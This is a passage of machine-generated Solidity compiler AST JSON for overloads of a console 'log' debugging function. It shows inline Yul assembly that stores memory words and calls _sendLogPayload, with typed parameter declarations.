"nativeSrc":"338913:24:22","nodeType":"YulFunctionCall","src":"338913:24:22"},"nativeSrc":"338913:24:22","nodeType":"YulExpressionStatement","src":"338913:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"338957:4:22","nodeType":"YulLiteral","src":"338957:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"338963:4:22","nodeType":"YulLiteral","src":"338963:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"338950:6:22","nodeType":"YulIdentifier","src":"338950:6:22"},"nativeSrc":"338950:18:22","nodeType":"YulFunctionCall","src":"338950:18:22"},"nativeSrc":"338950:18:22","nodeType":"YulExpressionStatement","src":"338950:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"338988:4:22","nodeType":"YulLiteral","src":"338988:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"338994:2:22","nodeType":"YulIdentifier","src":"338994:2:22"}],"functionName":{"name":"mstore","nativeSrc":"338981:6:22","nodeType":"YulIdentifier","src":"338981:6:22"},"nativeSrc":"338981:16:22","nodeType":"YulFunctionCall","src":"338981:16:22"},"nativeSrc":"338981:16:22","nodeType":"YulExpressionStatement","src":"338981:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"339017:4:22","nodeType":"YulLiteral","src":"339017:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"339023:2:22","nodeType":"YulIdentifier","src":"339023:2:22"}],"functionName":{"name":"mstore","nativeSrc":"339010:6:22","nodeType":"YulIdentifier","src":"339010:6:22"},"nativeSrc":"339010:16:22","nodeType":"YulFunctionCall","src":"339010:16:22"},"nativeSrc":"339010:16:22","nodeType":"YulExpressionStatement","src":"339010:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"339046:4:22","nodeType":"YulLiteral","src":"339046:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"339052:2:22","nodeType":"YulIdentifier","src":"339052:2:22"}],"functionName":{"name":"mstore","nativeSrc":"339039:6:22","nodeType":"YulIdentifier","src":"339039:6:22"},"nativeSrc":"339039:16:22","nodeType":"YulFunctionCall","src":"339039:16:22"},"nativeSrc":"339039:16:22","nodeType":"YulExpressionStatement","src":"339039:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"339080:4:22","nodeType":"YulLiteral","src":"339080:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"339086:2:22","nodeType":"YulIdentifier","src":"339086:2:22"}],"functionName":{"name":"writeString","nativeSrc":"339068:11:22","nodeType":"YulIdentifier","src":"339068:11:22"},"nativeSrc":"339068:21:22","nodeType":"YulFunctionCall","src":"339068:21:22"},"nativeSrc":"339068:21:22","nodeType":"YulExpressionStatement","src":"339068:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44810,"isOffset":false,"isSlot":false,"src":"338643:2:22","valueSize":1},{"declaration":44813,"isOffset":false,"isSlot":false,"src":"338673:2:22","valueSize":1},{"declaration":44816,"isOffset":false,"isSlot":false,"src":"338703:2:22","valueSize":1},{"declaration":44819,"isOffset":false,"isSlot":false,"src":"338733:2:22","valueSize":1},{"declaration":44822,"isOffset":false,"isSlot":false,"src":"338763:2:22","valueSize":1},{"declaration":44825,"isOffset":false,"isSlot":false,"src":"338793:2:22","valueSize":1},{"declaration":44828,"isOffset":false,"isSlot":false,"src":"338823:2:22","valueSize":1},{"declaration":44800,"isOffset":false,"isSlot":false,"src":"339086:2:22","valueSize":1},{"declaration":44802,"isOffset":false,"isSlot":false,"src":"338994:2:22","valueSize":1},{"declaration":44804,"isOffset":false,"isSlot":false,"src":"339023:2:22","valueSize":1},{"declaration":44806,"isOffset":false,"isSlot":false,"src":"339052:2:22","valueSize":1}],"id":44830,"nodeType":"InlineAssembly","src":"338265:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44832,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"339124:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":44833,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"339130:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":44831,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"339108:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44834,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"339108:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44835,"nodeType":"ExpressionStatement","src":"339108:27:22"},{"AST":{"nativeSrc":"339154:214:22","nodeType":"YulBlock","src":"339154:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"339175:4:22","nodeType":"YulLiteral","src":"339175:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"339181:2:22","nodeType":"YulIdentifier","src":"339181:2:22"}],"functionName":{"name":"mstore","nativeSrc":"339168:6:22","nodeType":"YulIdentifier","src":"339168:6:22"},"nativeSrc":"339168:16:22","nodeType":"YulFunctionCall","src":"339168:16:22"},"nativeSrc":"339168:16:22","nodeType":"YulExpressionStatement","src":"339168:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"339204:4:22","nodeType":"YulLiteral","src":"339204:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"339210:2:22","nodeType":"YulIdentifier","src":"339210:2:22"}],"functionName":{"name":"mstore","nativeSrc":"339197:6:22","nodeType":"YulIdentifier","src":"339197:6:22"},"nativeSrc":"339197:16:22","nodeType":"YulFunctionCall","src":"339197:16:22"},"nativeSrc":"339197:16:22","nodeType":"YulExpressionStatement","src":"339197:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"339233:4:22","nodeType":"YulLiteral","src":"339233:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"339239:2:22","nodeType":"YulIdentifier","src":"339239:2:22"}],"functionName":{"name":"mstore","nativeSrc":"339226:6:22","nodeType":"YulIdentifier","src":"339226:6:22"},"nativeSrc":"339226:16:22","nodeType":"YulFunctionCall","src":"339226:16:22"},"nativeSrc":"339226:16:22","nodeType":"YulExpressionStatement","src":"339226:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"339262:4:22","nodeType":"YulLiteral","src":"339262:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"339268:2:22","nodeType":"YulIdentifier","src":"339268:2:22"}],"functionName":{"name":"mstore","nativeSrc":"339255:6:22","nodeType":"YulIdentifier","src":"339255:6:22"},"nativeSrc":"339255:16:22","nodeType":"YulFunctionCall","src":"339255:16:22"},"nativeSrc":"339255:16:22","nodeType":"YulExpressionStatement","src":"339255:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"339291:4:22","nodeType":"YulLiteral","src":"339291:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"339297:2:22","nodeType":"YulIdentifier","src":"339297:2:22"}],"functionName":{"name":"mstore","nativeSrc":"339284:6:22","nodeType":"YulIdentifier","src":"339284:6:22"},"nativeSrc":"339284:16:22","nodeType":"YulFunctionCall","src":"339284:16:22"},"nativeSrc":"339284:16:22","nodeType":"YulExpressionStatement","src":"339284:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"339320:4:22","nodeType":"YulLiteral","src":"339320:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"339326:2:22","nodeType":"YulIdentifier","src":"339326:2:22"}],"functionName":{"name":"mstore","nativeSrc":"339313:6:22","nodeType":"YulIdentifier","src":"339313:6:22"},"nativeSrc":"339313:16:22","nodeType":"YulFunctionCall","src":"339313:16:22"},"nativeSrc":"339313:16:22","nodeType":"YulExpressionStatement","src":"339313:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"339349:4:22","nodeType":"YulLiteral","src":"339349:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"339355:2:22","nodeType":"YulIdentifier","src":"339355:2:22"}],"functionName":{"name":"mstore","nativeSrc":"339342:6:22","nodeType":"YulIdentifier","src":"339342:6:22"},"nativeSrc":"339342:16:22","nodeType":"YulFunctionCall","src":"339342:16:22"},"nativeSrc":"339342:16:22","nodeType":"YulExpressionStatement","src":"339342:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44810,"isOffset":false,"isSlot":false,"src":"339181:2:22","valueSize":1},{"declaration":44813,"isOffset":false,"isSlot":false,"src":"339210:2:22","valueSize":1},{"declaration":44816,"isOffset":false,"isSlot":false,"src":"339239:2:22","valueSize":1},{"declaration":44819,"isOffset":false,"isSlot":false,"src":"339268:2:22","valueSize":1},{"declaration":44822,"isOffset":false,"isSlot":false,"src":"339297:2:22","valueSize":1},{"declaration":44825,"isOffset":false,"isSlot":false,"src":"339326:2:22","valueSize":1},{"declaration":44828,"isOffset":false,"isSlot":false,"src":"339355:2:22","valueSize":1}],"id":44836,"nodeType":"InlineAssembly","src":"339145:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"338055:3:22","parameters":{"id":44807,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44800,"mutability":"mutable","name":"p0","nameLocation":"338067:2:22","nodeType":"VariableDeclaration","scope":44838,"src":"338059:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44799,"name":"bytes32","nodeType":"ElementaryTypeName","src":"338059:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44802,"mutability":"mutable","name":"p1","nameLocation":"338076:2:22","nodeType":"VariableDeclaration","scope":44838,"src":"338071:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44801,"name":"bool","nodeType":"ElementaryTypeName","src":"338071:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44804,"mutability":"mutable","name":"p2","nameLocation":"338088:2:22","nodeType":"VariableDeclaration","scope":44838,"src":"338080:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":44803,"name":"uint256","nodeType":"ElementaryTypeName","src":"338080:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":44806,"mutability":"mutable","name":"p3","nameLocation":"338097:2:22","nodeType":"VariableDeclaration","scope":44838,"src":"338092:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44805,"name":"bool","nodeType":"ElementaryTypeName","src":"338092:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"338058:42:22"},"returnParameters":{"id":44808,"nodeType":"ParameterList","parameters":[],"src":"338115:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44878,"nodeType":"FunctionDefinition","src":"339380:1334:22","nodes":[],"body":{"id":44877,"nodeType":"Block","src":"339452:1262:22","nodes":[],"statements":[{"assignments":[44850],"declarations":[{"constant":false,"id":44850,"mutability":"mutable","name":"m0","nameLocation":"339470:2:22","nodeType":"VariableDeclaration","scope":44877,"src":"339462:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44849,"name":"bytes32","nodeType":"ElementaryTypeName","src":"339462:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44851,"nodeType":"VariableDeclarationStatement","src":"339462:10:22"},{"assignments":[44853],"declarations":[{"constant":false,"id":44853,"mutability":"mutable","name":"m1","nameLocation":"339490:2:22","nodeType":"VariableDeclaration","scope":44877,"src":"339482:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44852,"name":"bytes32","nodeType":"ElementaryTypeName","src":"339482:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44854,"nodeType":"VariableDeclarationStatement","src":"339482:10:22"},{"assignments":[44856],"declarations":[{"constant":false,"id":44856,"mutability":"mutable","name":"m2","nameLocation":"339510:2:22","nodeType":"VariableDeclaration","scope":44877,"src":"339502:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44855,"name":"bytes32","nodeType":"ElementaryTypeName","src":"339502:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44857,"nodeType":"VariableDeclarationStatement","src":"339502:10:22"},{"assignments":[44859],"declarations":[{"constant":false,"id":44859,"mutability":"mutable","name":"m3","nameLocation":"339530:2:22","nodeType":"VariableDeclaration","scope":44877,"src":"339522:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44858,"name":"bytes32","nodeType":"ElementaryTypeName","src":"339522:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44860,"nodeType":"VariableDeclarationStatement","src":"339522:10:22"},{"assignments":[44862],"declarations":[{"constant":false,"id":44862,"mutability":"mutable","name":"m4","nameLocation":"339550:2:22","nodeType":"VariableDeclaration","scope":44877,"src":"339542:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44861,"name":"bytes32","nodeType":"ElementaryTypeName","src":"339542:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44863,"nodeType":"VariableDeclarationStatement","src":"339542:10:22"},{"assignments":[44865],"declarations":[{"constant":false,"id":44865,"mutability":"mutable","name":"m5","nameLocation":"339570:2:22","nodeType":"VariableDeclaration","scope":44877,"src":"339562:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44864,"name":"bytes32","nodeType":"ElementaryTypeName","src":"339562:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44866,"nodeType":"VariableDeclarationStatement","src":"339562:10:22"},{"assignments":[44868],"declarations":[{"constant":false,"id":44868,"mutability":"mutable","name":"m6","nameLocation":"339590:2:22","nodeType":"VariableDeclaration","scope":44877,"src":"339582:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44867,"name":"bytes32","nodeType":"ElementaryTypeName","src":"339582:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44869,"nodeType":"VariableDeclarationStatement","src":"339582:10:22"},{"AST":{"nativeSrc":"339611:828:22","nodeType":"YulBlock","src":"339611:828:22","statements":[{"body":{"nativeSrc":"339654:313:22","nodeType":"YulBlock","src":"339654:313:22","statements":[{"nativeSrc":"339672:15:22","nodeType":"YulVariableDeclaration","src":"339672:15:22","value":{"kind":"number","nativeSrc":"339686:1:22","nodeType":"YulLiteral","src":"339686:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"339676:6:22","nodeType":"YulTypedName","src":"339676:6:22","type":""}]},{"body":{"nativeSrc":"339757:40:22","nodeType":"YulBlock","src":"339757:40:22","statements":[{"body":{"nativeSrc":"339786:9:22","nodeType":"YulBlock","src":"339786:9:22","statements":[{"nativeSrc":"339788:5:22","nodeType":"YulBreak","src":"339788:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"339774:6:22","nodeType":"YulIdentifier","src":"339774:6:22"},{"name":"w","nativeSrc":"339782:1:22","nodeType":"YulIdentifier","src":"339782:1:22"}],"functionName":{"name":"byte","nativeSrc":"339769:4:22","nodeType":"YulIdentifier","src":"339769:4:22"},"nativeSrc":"339769:15:22","nodeType":"YulFunctionCall","src":"339769:15:22"}],"functionName":{"name":"iszero","nativeSrc":"339762:6:22","nodeType":"YulIdentifier","src":"339762:6:22"},"nativeSrc":"339762:23:22","nodeType":"YulFunctionCall","src":"339762:23:22"},"nativeSrc":"339759:36:22","nodeType":"YulIf","src":"339759:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"339714:6:22","nodeType":"YulIdentifier","src":"339714:6:22"},{"kind":"number","nativeSrc":"339722:4:22","nodeType":"YulLiteral","src":"339722:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"339711:2:22","nodeType":"YulIdentifier","src":"339711:2:22"},"nativeSrc":"339711:16:22","nodeType":"YulFunctionCall","src":"339711:16:22"},"nativeSrc":"339704:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"339728:28:22","nodeType":"YulBlock","src":"339728:28:22","statements":[{"nativeSrc":"339730:24:22","nodeType":"YulAssignment","src":"339730:24:22","value":{"arguments":[{"name":"length","nativeSrc":"339744:6:22","nodeType":"YulIdentifier","src":"339744:6:22"},{"kind":"number","nativeSrc":"339752:1:22","nodeType":"YulLiteral","src":"339752:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"339740:3:22","nodeType":"YulIdentifier","src":"339740:3:22"},"nativeSrc":"339740:14:22","nodeType":"YulFunctionCall","src":"339740:14:22"},"variableNames":[{"name":"length","nativeSrc":"339730:6:22","nodeType":"YulIdentifier","src":"339730:6:22"}]}]},"pre":{"nativeSrc":"339708:2:22","nodeType":"YulBlock","src":"339708:2:22","statements":[]},"src":"339704:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"339821:3:22","nodeType":"YulIdentifier","src":"339821:3:22"},{"name":"length","nativeSrc":"339826:6:22","nodeType":"YulIdentifier","src":"339826:6:22"}],"functionName":{"name":"mstore","nativeSrc":"339814:6:22","nodeType":"YulIdentifier","src":"339814:6:22"},"nativeSrc":"339814:19:22","nodeType":"YulFunctionCall","src":"339814:19:22"},"nativeSrc":"339814:19:22","nodeType":"YulExpressionStatement","src":"339814:19:22"},{"nativeSrc":"339850:37:22","nodeType":"YulVariableDeclaration","src":"339850:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"339867:3:22","nodeType":"YulLiteral","src":"339867:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"339876:1:22","nodeType":"YulLiteral","src":"339876:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"339879:6:22","nodeType":"YulIdentifier","src":"339879:6:22"}],"functionName":{"name":"shl","nativeSrc":"339872:3:22","nodeType":"YulIdentifier","src":"339872:3:22"},"nativeSrc":"339872:14:22","nodeType":"YulFunctionCall","src":"339872:14:22"}],"functionName":{"name":"sub","nativeSrc":"339863:3:22","nodeType":"YulIdentifier","src":"339863:3:22"},"nativeSrc":"339863:24:22","nodeType":"YulFunctionCall","src":"339863:24:22"},"variables":[{"name":"shift","nativeSrc":"339854:5:22","nodeType":"YulTypedName","src":"339854:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"339915:3:22","nodeType":"YulIdentifier","src":"339915:3:22"},{"kind":"number","nativeSrc":"339920:4:22","nodeType":"YulLiteral","src":"339920:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"339911:3:22","nodeType":"YulIdentifier","src":"339911:3:22"},"nativeSrc":"339911:14:22","nodeType":"YulFunctionCall","src":"339911:14:22"},{"arguments":[{"name":"shift","nativeSrc":"339931:5:22","nodeType":"YulIdentifier","src":"339931:5:22"},{"arguments":[{"name":"shift","nativeSrc":"339942:5:22","nodeType":"YulIdentifier","src":"339942:5:22"},{"name":"w","nativeSrc":"339949:1:22","nodeType":"YulIdentifier","src":"339949:1:22"}],"functionName":{"name":"shr","nativeSrc":"339938:3:22","nodeType":"YulIdentifier","src":"339938:3:22"},"nativeSrc":"339938:13:22","nodeType":"YulFunctionCall","src":"339938:13:22"}],"functionName":{"name":"shl","nativeSrc":"339927:3:22","nodeType":"YulIdentifier","src":"339927:3:22"},"nativeSrc":"339927:25:22","nodeType":"YulFunctionCall","src":"339927:25:22"}],"functionName":{"name":"mstore","nativeSrc":"339904:6:22","nodeType":"YulIdentifier","src":"339904:6:22"},"nativeSrc":"339904:49:22","nodeType":"YulFunctionCall","src":"339904:49:22"},"nativeSrc":"339904:49:22","nodeType":"YulExpressionStatement","src":"339904:49:22"}]},"name":"writeString","nativeSrc":"339625:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"339646:3:22","nodeType":"YulTypedName","src":"339646:3:22","type":""},{"name":"w","nativeSrc":"339651:1:22","nodeType":"YulTypedName","src":"339651:1:22","type":""}],"src":"339625:342:22"},{"nativeSrc":"339980:17:22","nodeType":"YulAssignment","src":"339980:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"339992:4:22","nodeType":"YulLiteral","src":"339992:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"339986:5:22","nodeType":"YulIdentifier","src":"339986:5:22"},"nativeSrc":"339986:11:22","nodeType":"YulFunctionCall","src":"339986:11:22"},"variableNames":[{"name":"m0","nativeSrc":"339980:2:22","nodeType":"YulIdentifier","src":"339980:2:22"}]},{"nativeSrc":"340010:17:22","nodeType":"YulAssignment","src":"340010:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"340022:4:22","nodeType":"YulLiteral","src":"340022:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"340016:5:22","nodeType":"YulIdentifier","src":"340016:5:22"},"nativeSrc":"340016:11:22","nodeType":"YulFunctionCall","src":"340016:11:22"},"variableNames":[{"name":"m1","nativeSrc":"340010:2:22","nodeType":"YulIdentifier","src":"340010:2:22"}]},{"nativeSrc":"340040:17:22","nodeType":"YulAssignment","src":"340040:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"340052:4:22","nodeType":"YulLiteral","src":"340052:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"340046:5:22","nodeType":"YulIdentifier","src":"340046:5:22"},"nativeSrc":"340046:11:22","nodeType":"YulFunctionCall","src":"340046:11:22"},"variableNames":[{"name":"m2","nativeSrc":"340040:2:22","nodeType":"YulIdentifier","src":"340040:2:22"}]},{"nativeSrc":"340070:17:22","nodeType":"YulAssignment","src":"340070:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"340082:4:22","nodeType":"YulLiteral","src":"340082:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"340076:5:22","nodeType":"YulIdentifier","src":"340076:5:22"},"nativeSrc":"340076:11:22","nodeType":"YulFunctionCall","src":"340076:11:22"},"variableNames":[{"name":"m3","nativeSrc":"340070:2:22","nodeType":"YulIdentifier","src":"340070:2:22"}]},{"nativeSrc":"340100:17:22","nodeType":"YulAssignment","src":"340100:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"340112:4:22","nodeType":"YulLiteral","src":"340112:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"340106:5:22","nodeType":"YulIdentifier","src":"340106:5:22"},"nativeSrc":"340106:11:22","nodeType":"YulFunctionCall","src":"340106:11:22"},"variableNames":[{"name":"m4","nativeSrc":"340100:2:22","nodeType":"YulIdentifier","src":"340100:2:22"}]},{"nativeSrc":"340130:17:22","nodeType":"YulAssignment","src":"340130:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"340142:4:22","nodeType":"YulLiteral","src":"340142:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"340136:5:22","nodeType":"YulIdentifier","src":"340136:5:22"},"nativeSrc":"340136:11:22","nodeType":"YulFunctionCall","src":"340136:11:22"},"variableNames":[{"name":"m5","nativeSrc":"340130:2:22","nodeType":"YulIdentifier","src":"340130:2:22"}]},{"nativeSrc":"340160:17:22","nodeType":"YulAssignment","src":"340160:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"340172:4:22","nodeType":"YulLiteral","src":"340172:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"340166:5:22","nodeType":"YulIdentifier","src":"340166:5:22"},"nativeSrc":"340166:11:22","nodeType":"YulFunctionCall","src":"340166:11:22"},"variableNames":[{"name":"m6","nativeSrc":"340160:2:22","nodeType":"YulIdentifier","src":"340160:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"340260:4:22","nodeType":"YulLiteral","src":"340260:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"340266:10:22","nodeType":"YulLiteral","src":"340266:10:22","type":"","value":"0x64b5bb67"}],"functionName":{"name":"mstore","nativeSrc":"340253:6:22","nodeType":"YulIdentifier","src":"340253:6:22"},"nativeSrc":"340253:24:22","nodeType":"YulFunctionCall","src":"340253:24:22"},"nativeSrc":"340253:24:22","nodeType":"YulExpressionStatement","src":"340253:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"340297:4:22","nodeType":"YulLiteral","src":"340297:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"340303:4:22","nodeType":"YulLiteral","src":"340303:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"340290:6:22","nodeType":"YulIdentifier","src":"340290:6:22"},"nativeSrc":"340290:18:22","nodeType":"YulFunctionCall","src":"340290:18:22"},"nativeSrc":"340290:18:22","nodeType":"YulExpressionStatement","src":"340290:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"340328:4:22","nodeType":"YulLiteral","src":"340328:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"340334:2:22","nodeType":"YulIdentifier","src":"340334:2:22"}],"functionName":{"name":"mstore","nativeSrc":"340321:6:22","nodeType":"YulIdentifier","src":"340321:6:22"},"nativeSrc":"340321:16:22","nodeType":"YulFunctionCall","src":"340321:16:22"},"nativeSrc":"340321:16:22","nodeType":"YulExpressionStatement","src":"340321:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"340357:4:22","nodeType":"YulLiteral","src":"340357:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"340363:2:22","nodeType":"YulIdentifier","src":"340363:2:22"}],"functionName":{"name":"mstore","nativeSrc":"340350:6:22","nodeType":"YulIdentifier","src":"340350:6:22"},"nativeSrc":"340350:16:22","nodeType":"YulFunctionCall","src":"340350:16:22"},"nativeSrc":"340350:16:22","nodeType":"YulExpressionStatement","src":"340350:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"340386:4:22","nodeType":"YulLiteral","src":"340386:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"340392:2:22","nodeType":"YulIdentifier","src":"340392:2:22"}],"functionName":{"name":"mstore","nativeSrc":"340379:6:22","nodeType":"YulIdentifier","src":"340379:6:22"},"nativeSrc":"340379:16:22","nodeType":"YulFunctionCall","src":"340379:16:22"},"nativeSrc":"340379:16:22","nodeType":"YulExpressionStatement","src":"340379:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"340420:4:22","nodeType":"YulLiteral","src":"340420:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"340426:2:22","nodeType":"YulIdentifier","src":"340426:2:22"}],"functionName":{"name":"writeString","nativeSrc":"340408:11:22","nodeType":"YulIdentifier","src":"340408:11:22"},"nativeSrc":"340408:21:22","nodeType":"YulFunctionCall","src":"340408:21:22"},"nativeSrc":"340408:21:22","nodeType":"YulExpressionStatement","src":"340408:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44850,"isOffset":false,"isSlot":false,"src":"339980:2:22","valueSize":1},{"declaration":44853,"isOffset":false,"isSlot":false,"src":"340010:2:22","valueSize":1},{"declaration":44856,"isOffset":false,"isSlot":false,"src":"340040:2:22","valueSize":1},{"declaration":44859,"isOffset":false,"isSlot":false,"src":"340070:2:22","valueSize":1},{"declaration":44862,"isOffset":false,"isSlot":false,"src":"340100:2:22","valueSize":1},{"declaration":44865,"isOffset":false,"isSlot":false,"src":"340130:2:22","valueSize":1},{"declaration":44868,"isOffset":false,"isSlot":false,"src":"340160:2:22","valueSize":1},{"declaration":44840,"isOffset":false,"isSlot":false,"src":"340426:2:22","valueSize":1},{"declaration":44842,"isOffset":false,"isSlot":false,"src":"340334:2:22","valueSize":1},{"declaration":44844,"isOffset":false,"isSlot":false,"src":"340363:2:22","valueSize":1},{"declaration":44846,"isOffset":false,"isSlot":false,"src":"340392:2:22","valueSize":1}],"id":44870,"nodeType":"InlineAssembly","src":"339602:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44872,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"340464:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 